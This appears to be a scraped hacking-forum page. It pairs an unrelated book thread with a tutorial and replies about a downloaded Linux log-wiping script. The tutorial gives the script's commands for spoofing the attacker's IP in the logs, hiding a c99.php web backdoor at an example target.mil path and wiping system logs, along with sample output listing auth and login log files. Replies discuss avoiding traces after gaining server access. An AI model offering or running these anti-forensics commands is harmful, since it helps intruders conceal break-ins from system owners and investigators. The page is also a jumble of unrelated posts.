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General discussion / Re: What's your favourite book
« on: December 30, 2013, 08:16:36 pm »
Enders game for me
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Any honest contribution is appreciated.Thanks
About the shell script - I guess it works, but it would be a bad idea in itself to wget stuff from the web once you gained access to the server - logs everywhere.
However it's good that this script replaces the logs and not just deletes them the fuck out like most skiddies think is the way to go - hey no traces, amirite?
+cookie to you sir!
But remeber I didn't code the script but I'm learning python and later I will relace my own scripts
I actually never got deeper into Linux OS, although I've been using it for 2 years now, so this is new for me. Anyway, I wonder why you got -11 cookies with only 7 posts?
and I am Swedish so my grammar is not perfect .. In this tut I will show you how to clear/edit the logs on a linux system. So let's start with that this is for educational purposes only. So the script I will be showing is not programmed by me I found it on http://www.garage4hacker.com/ Download can be found on the bottom of the thread. So this script can spoof your IP, hide web backdoors from the logs and totally fuck the logs.'./Wipe_Linux_Logs-v0.2.sh -d (Your IP) -s (IP to spoof) -u "User here"
And to hide the web backdoor from the logs you use this command../Wipe_Linux_Logs-v0.2.sh -w "/var/www/target.mil/uploads/c99.php
But remember that you can use these commands together like this./Wipe_Linux_Logs-v0.2.sh -d (Your IP) -s (IP to spoof) -u "User here" -w "/var/www/target.mil/uploads/c99.php"

./Wipe_Linux_Logs-v0.2.sh -f
And for last you can get some system info and check what logs is in the system and so on../Wipe_Linux_Logs-v0.2.sh -i
Here's an example of that!
root@D3st:~/Desktop# ./Wipe_Linux_Logs-v0.2.sh -i
>>>>>>>>>>>>> System Info <<<<<<<<<<<<
[*] Linux Kernel: Linux D3st 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali8 i686 GNU/Linux
[*] The various log files found on system:
[*] ASCII Log Files
/var/log/syslog
/var/log/messages
/var/log/auth.log
[*] Binary Log Files
/var/log/wtmp
/var/log/lastlog
/var/log/btmp
/var/run/utmp
>>>>>>>>>> Login User Info <<<<<<<<<<
[*] Logged in Users:
root tty7 2013-12-28 11:15 (:0)
root pts/0 2013-12-29 13:12 (:0.0)
[*] You are logged in as user 'root' and have 'root' access on this machine
[*] You are a member of groups: root
root@D3st:~/Desktop#
So that was about all I had to cover in this tut I hope you liked it and leave some feedback in the comments
I really hope this haven't been posted before.